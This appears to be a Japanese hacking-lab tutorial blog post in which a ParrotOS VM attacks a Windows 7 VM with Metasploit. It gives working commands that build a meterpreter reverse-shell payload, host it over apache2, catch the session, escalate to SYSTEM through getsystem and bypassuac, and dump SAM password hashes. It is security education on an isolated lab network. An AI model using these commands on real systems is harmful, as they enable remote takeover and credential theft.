ParrotOS でハッキングラボをつくってみる 5 Windows7をハッキングする編3(Metasploit Frameworkを使う前編）

# MetasploitFrameworkでのWindows7のハッキング

今回の記事から、前中後編でMetasploit Frameworkでのハッキングを行う。(KaliLinux2022.1と同様。）
前編の今回は、Metasploitの起動からパスワードのハッシュの入手までを行う。
『ハッキング・ラボのつくりかた』でのp.238〜p.254に当たる。
ハッキング・ラボ環境のネットワークを確認する。
- ParrotOS(攻撃端末）
    - アダプタ1(必須・Windows7と接続するため)
       割当：ホストオンリアダプタ
名前：vboxnet0
IPアドレス：192.168.56.3(当環境において）
    - アダプタ２（任意・インターネットに接続するため）
割当：NAT
IPアドレス：10.0.3.15

- Windows7(やられ端末)
    - アダプタ1
    割当：ホストオンリアダプタ
名前：vboxnet0
IPアドレス：192.168.56.108

:::note alert
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
:::
## Metasploitを起動する
ParrotOSの端末を立ち上げて、次のコマンドを実行。`msfconsole`を実行した後、msfのconsoleが立ち上がるまで時間がかかる。立ち上がる際には、バナーが表示される。
バナーが必要ない場合、`msfconsole -q`とする。バナーが表示されたほうが、msfconsoleが正常に起動しているか否かわかりやすいため、最初は`msfconsole`を実行する。
```
$ msfconsole
```
プリインストールされているmetasploitのバージョンは、v6.3.5-devである。

### msfconsoleのオプション・コマンドについて
`show -h`でshowコマンドについてのヘルプが表示される。
ここからしばらくは寄り道をして、msfconsole上で使うコマンドやパラメタを詳しく見ていきたい。飛ばしたいときは、「ペイロードの作成」の章まで飛ばしてください。
```:msf
show -h
```
このヘルプによると、showコマンドのパラメタには、つぎの種類がある。(Additional module-specific parametersを除く）
- all
以下のパラメタの内容すべてを表示。
- encorders
暗号化するモジュールencorderを一覧表示
- nops
NOPジェネレータを一覧表示
NOPジェネレータは、スタンダードなIDS・IPSNOPスレッド署名をバイパスするために使用できるランダムなバイト数列を生成する。パッドバッファーのためにNOPジェネレーターを使う。
- exploits
exploitを一覧表示
 脆弱性を突く攻撃プログラムを指す
- payloads
payloadを一覧表示
exploitがシステムを侵害した後に実行されるシェルコード。ペイロードを使用すると、シェルへの接続方法と、シェルを制御した後にターゲットシステムに対して操作が実行可能。ペイロードは、Meterpreterまたはコマンドシェル(cmdあるいはpowershell)を開くことができる。 Meterpreterは、必要に応じて新しい機能を動的に作成するためのDLLファイルを作成できる高度なペイロードです。
- auxiliary
補助モジュールを一覧
補助モジュール。ペイロードを実行しない。exploitationに直接関係しない可能性のある任意のアクションを実行するために使用。補助モジュールの例には、スキャナー、ファザー、サービス拒否攻撃などがあります。
- post
Post-exploitのこと？を表示
Exploit後のさらなる情報収集やアクセスのためのモジュール。ハッシュダンプの収集やアプリケーションやサービスを列挙する。
- plugins
プラグインを表示
- info
info \<module_name\> でモジュールについての詳細情報を表示。
- options
オプション

**コマンドの例**
```:msf
show exploits
show payloads
```

全体的なヘルプ（コマンド一覧やIPアドレスの扱い、使用例など）は、`help`コマンドを実行すると表示される。
そこには、コマンドの一覧と実行例などが表示される
主なコマンド（今後使用する予定のコマンド）は以下の通り

コマンド
- ? : ヘルプ
- cd : カレントディレクトリを変更
- exit : コンソールmsfconsoleを終了
- get : context-specific変数の値を取得
- getg : グローバル変数の値を取得
- grep : 他のコマンドの出力をgrepする
- help : ヘルプ
- history : コマンド履歴を表示
- load : フレームワークプラグインをロード
- quit : コンソールmsfconsoleを終了
- sessions : ダンプセッションのリストとセッションのついての情報の表示
- set : context-specific変数の値を設定
- setg : グローバル変数の値を設定
- threads : バックグラウンドのスレッドの表示と操作
- unload : フレームワークプラグインのアンロード
- unset : context-specific変数の設定取り消し
- unsetg : グローバル変数の設定取り消し
- version : フレームワークとコンソールライブラリのバージョン表示

モジュールコマンド
- back : 現在のコンテキストに戻る
- favorite : お気に入りのモジュールのリストにモジュールを加える
- info : モジュールの情報を表示する
- options : モジュールのオプションを表示する
- search : モジュールの名前と詳細から適合するモジュールを探索する
- show : 指定されたモジュールタイプあるいはすべてのモジュールを表示
- use : 名前または検索用語/インデックスでモジュールを操作する

ジョブコマンド
- handler : ペイロードハンドラーをジョブとして開始する
- jobs : ジョブの表示と管理
- kill : ジョブをキルする
- rename_job : ジョブの名前を変更

### ランク付け

すべてのexploitモジュールには、ターゲットシステムへの潜在的な影響に基づいてランクが割り当てられています。
ランクは

1. excelent
1. great
1. good
1. normal
1. average
1. low
1. manual

の順番となっており、excelentが最も洗練されている。システムをクラッシュさせることなく、任意のコマンドを実行できる。
greatは、エクスプロイトにはデフォルトのターゲットがあり、適切なターゲットを自動検出します。
goodは、エクスプロイはデフォルトのターゲットを持つが、ターゲットを自動検出しない。
normalは、このエクスプロイトは他の点では信頼できますが、このタイプのソフトウェアの「一般的なケース」ではなく、確実に自動検出できない（または自動検出できない）特定のバージョンに依存します。
averageは一般的なプラットフォーム上での成功確率は５０％以上（高いように見えるが、exploitするには信頼性に疑問が残る）
lowは、成功確率５０％未満となっている。
manualは、基本的に使用は推奨されない。不安定であるか、exploitが困難であり、15％以下の成功率である。
詳しく、より正確な記述は、[ Github Exploit Ranking ](https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking)を参照のこと。

### searchコマンドでモジュールを検索してみる
パス形式でモジュールを指定する。
検索演算子を使用してモジュールを検索する。
検索演算子を使用して、特定のモジュール名、パス、プラットフォーム、作成者、CVE ID、BID、OSDVB ID、モジュールタイプ、またはアプリケーションに基づいてクエリを作成後、一致する結果が一覧表示される。

- `search`コマンドの文法
```:msf >
search <検索するオペレータ>:<検索する用語（ターム）>
```
使用できるオペレータ
- name
- path
- platform
- type
- app
- author
- cve
- bid
- osdvb

「Windows向け」で「TCP型のリバースシェル」かつ「ペイロード」のモジュールを検索したいなら、次のコマンドを実行。（同書にも同様の記述有り）
```:msf >
search type:payload reverse_tcp platform:windows
```
今回は、コマンド実行後に表示されたリスト表示されたエクスプロイトから
` 47  payload/windows/meterpreter/reverse_tcp `を使ってペイロードを作成する。


## ペイロードの作成
ペイロードとは、exploitがシステムを侵害した後に実行されるシェルコードのこと。

同書p.242には、
>悪意のある動作をする実行コードのことです。本書では、（実行コードの意味での）ペイロードから生成した実行プログラムもペイロードと表現することにします。

とある。
作成するのは、Windows7で実行可能なTCP型リバースシェルのペイロードとなる。このペイロードが実行されると、Windows7側に脆弱性があれば、ParrotOSからWindows7を遠隔操作可能となる。

ペイロードの作成は、`msfvenom`コマンドを利用する。ここでは、msfプロンプト上で作成しているが、端末のプロンプト上でも、作成可能である。
コマンド内容は、以下のとおりにした。 "-o"やLHOSTに何を指定するかは環境によって違う。

msfプロンプトでコマンドを実行する場合も端末の一般ユーザーのプロンプトで実行する場合も、
```:msf >
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.3 -f exe -o $HOME/payloads/evil.exe
```
と実行する。
パラメタLHOSTには、ParrotOSのローカルIPアドレスを指定した。
出力先には、payloadsディレクトリを新規に作成して、そこを指定した。
実行後に、指定したパスにexeがあることを確認。
オプション
- -p:ペイロードのパス(Metasploit上のパス)
- -f:出力ファイルの形式（Windowsなので.exe)
- -o:出力ファイルのパス（OS上のパス）

## ペイロードの設置とリバースシェルの待受

1.ペイロードの設置
**新規に端末**を立ち上げて、コマンド実行
apache2のサーバーディレクトリに新規フォルダshareを作成してペイロードevil.exeを配置

```:ペイロードをwebサーバに設置して、apache2を再起動
cd /var/www/html/
sudo mkdir share
sudo cp $HOME/payloads/evil.exe share/
sudo chmod -R 755 share/
sudo systemctl restart apache2
```
Windows7でブラウザ(IE)を起動して、http：//192.168.56.3/share にアクセスすると、「evil.exe」があるので、ダウンロードしてWindows7から実行する。
もちろん、ターゲットにこのファイルをダウンロード・実行してもらうには、巧妙な仕掛けが必要である。また、アンチウイルスによってブロックされる可能性も想定しなければならない。（今回は、WindowsDefenderのリアルタイムスキャンをオフにした）
![VirtualBox_IE10 - Win7_14_04_2022_13_04_52.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/bef7cd8c-0d16-e45c-9246-a5c0de989e6f.png)
*上画像は、KaliLinux2022.1の記事から流用しているため、IPアドレスが異なる*

:::note
同書では、`service apache2 restart`となっているが、systemctlコマンドも利用できる。
また、KaliLinuxは、デフォルトではOS起動時にapache2が起動しない設定になっているので、`sudo systemctl enable apache2`で自動起動しておいたほうが便利。
:::

2.リバースシェルを待ち受ける
ParrotOS側のmsfプロンプトにて、ハンドラモジュールを使う。このモジュールは、バインドシェルでターゲットに接続したり、リバースシェルからの接続を待ち受けたりするのに用いられる。
```:msf
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.56.3
show options
exploit
```
payloadはwindows/meterpreter/reverse_tcpをセット
LHOSTはParrotOSのIPアドレスをセット
`show options`で、下の画像の通りになる
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_14_04_2022_13_17_11.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/6e14fd94-5a75-5562-f00f-7b18264a3cd3.png)
`exploit`で実行。
実行後、Windows7でevil.exeを実行する。
成功すると、ParrotOSでmeterpreterプロンプトが実行・表示される

:::note
exploitのモジュール設定の際に、オプションの「Name」の部分が、同書では大文字で指定されている。（例えば、"LHOST"や"SESSION"など）
小文字でも指定（"lhost"や"session"など）できる。小文字で指定しても動作に支障はなかった。
:::
3.セッションが確立されていることを確認
Windows側でコマンドプロンプトを起動して、次のコマンドを実行
```: C:\Users\IEUser
netstat -n | find "ESTABLISHED"
```
![VirtualBox_IE10 - Win7_14_04_2022_13_38_13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/5a196612-3355-9188-d557-b4779ea3b0e7.png)

## Windows7の遠隔操作を開始
```:meterpreter
pwd
cd ..
cd Desktop
ls
dir
help
```
Meterpreterプロンプトでは、`pwd`や`ls`のようなUNIX系のコマンドも利用可能である。
`help`で、使用できるコマンド一覧が表示される。

## パスワードハッシュを入手
### パスワード解析の前提
同書p.248から引用
>Windowsのパスワード解析には、いくつかの代表的なアプローチがあります。
>
>①パスワードハッシュを入手して、パスワード解析によって、元のパスワードを特定する。
②"lsass.exe"プロセスから平文のログオン情報を取得する。
③パスワードハッシュを入手して、ターゲットに送信してログオンする。
>
>①のアプローチは、パスワード解析において最も基本となる方法です。パスワードハッシュの取得するには様々な方法がありますが、解析の流れとしては同じになります。
②のアプローチは、メモリ上ではパスワードが平文の状態で存在するという仕様を逆手に取った攻撃方法です。PwdumpやGsecdumpといった専用ツールで読み取れます。
③のアプローチは、Windowsのネットワークログオン(SMB共有経由での認証)の仕様を逆手に取った攻撃方法です。この攻撃をPass the Hashといいます。特に、AD(ActiveDirectory)管理下では、ログオンするためにネットワークで認証データをやり取りします。パスワードハッシュを取得済みであれば認証データを偽造できるため、この攻撃を実現できるわけです。AD管理下のすべての端末が攻撃対象になります。

今回は、１のパスワードハッシュの入手・解析する方法を採る。
Windowsのローカルアカウントであれば、SAMデータベース(C:\Windows\System32\config\SAM)、ドメインアカウントであれば
AD上のデータベース(C:\Windows\NTDS\ntds.dit)というパスワードハッシュで管理されている。

### パスワードハッシュの奪取を実行
```:meterpreter
run hashdump
```
エラーが出るはず。この理由は、管理者権限が取れないことと`run hashdump`コマンドが利用できなくなったからである。
管理者権限がないと、他の操作にも制限がかかることになるので、ぜひ取りたい所。
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_14_04_2022_14_51_48.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/c7558042-b8b5-badb-ad79-f19ae1387b6d.png)

~~Exploitには権限を昇格させるためのモジュールexploit/windows/local/bypassuacが含まれているので、これを使うことにしたい。そのためには、複数のexploitをmsfconsoleで実行する必要がある。~~
KaliLinux2022.1のMetasploitFrameworkでは、UAC機能をバイパスするモジュールを使ってsystem権限を奪取する必要があったが、今回の場合は、`getsystem`コマンドを実行するだけで奪取できた。現行のkaliLinuxのMetasploitFrameworkでも同様かもしれない。

なので、引用元のようにexploitを複数実行して管理者権限を奪取する必要なし。
> - msfconsoleで同時に複数のexploitを実行
>
>現在のmeterpreterプロンプトの状態から、`background`でmsfプロンプトに戻る。
>```:meterpreter>
>background
>```
>接続中のMeterpreterセッションを確認する。
>```:msf>
>sessions -i
>＃あるいは
>sessions
>```
>
>- 管理者権限の奪取
>`getsystem`コマンドでsystem権限をダッシュできなかったのは、UAC機能によりブロックされてしまった>ため。そこで、UAC機能をバイパスするモジュールexploit/windows/local/bypassuacを使う。**すでに確立>しているセッションを通して、Exploitを実行する。**
>```:msf>
>use exploit/windows/local/bypassuac
>show options
>#オプションを一度確認しておく
>set session 1
>#１は、session_idを指す。条件によってsession_idは変わる。
>set payload windows/meterpreter/reverse_tcp
>set lhost 192.168.56.2
>show options
>```
>
>下の画像のようになっているか確認する。
>![VirtualBox_kali-linux-2022.1-virtualbox-amd64_15_04_2022_21_24_24.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/ce8a5b11-aafa-3084-f959-d7b101a25f12.png)
>間違いないか、確認したら`exploit`で実行。"BypassUAC can bypass this setting, continuing.."が確認でき、エラーが出ていないことを確認する。
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_15_04_2022_21_29_49.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/bf4d9c51-c21a-f379-4e45-649aa4874629.png)
>

- 新しいセッションでSYSTEM権限を奪取
```: meterpreter>
getsystem -t 1
```
おそらく、正常に実行完了する。

しかし、同書p.253のとおりに、`run hashdump`を実行すると・・・
```:meterpreter >
run hashdump
```
![VirtualBox_kali-linux-2022.1-virtualbox-amd64_15_04_2022_21_36_41.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/535888/8d94f43c-18b8-f47a-fe4c-b65f2505416d.png)
"Meterpreter scripts are deprecated. Try post/windows/gather/smart_hashdump."と表示される。どうやら、ハッシュダンプの奪取には"post/windows/gather/smart_hashdump"を代わりに使ってという意味らしい。以下、だらだらとエラーが表示される。

指示通りに、post/windows/gather/smart_hashdumpを実行する。
```
background
use post/windows/gather/smart_hashdump
＃オプションを事前に確認しておく
show options
＃getsystemをtrueに
set getsystem true
＃適用したい管理者権限が取れているセッションのidをセットする（ここでは１）
set session 1

exploit
```
必ず、管理者権限が取れているセッションのsessionIDを指定する（今回の場合だとsessionIDは１）。管理者権限が取れていないセッションを指定しても失敗する。取得したハッシュダンプは、画面に表示されるほか、/home/ユーザー名/.msf4/loot/以下に保存される。

:::note alert
post/windows/gather/smart_hashdumpを使う方法は、同書には記されていない。exploitやKaliLinux側で何かしらの変更があったのだろう。現行のMetasploitでは、既述のエラーが起こる可能性が高い。
:::

## 終わりに
次回は、ハッシュダンプの解析からバックドアの設置までをする予定です。
画像は、支障がないものはKaliLinuxの記事から流用しています。
KaliLinuxとParrotOS、OSは違いますが、ハッキングに使っているツールは同じなので、ほとんど内容が変わりませんね・・・。
これから、内容に著しい変化がある場合のみ、ParrotOSを別途記事にするかもしれません。
- 参考にしたもの

『ハッキング・ラボのつくりかた』(IPUSION著)

https://www.offensive-security.com/metasploit-unleashed/

https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking

https://docs.rapid7.com/metasploit/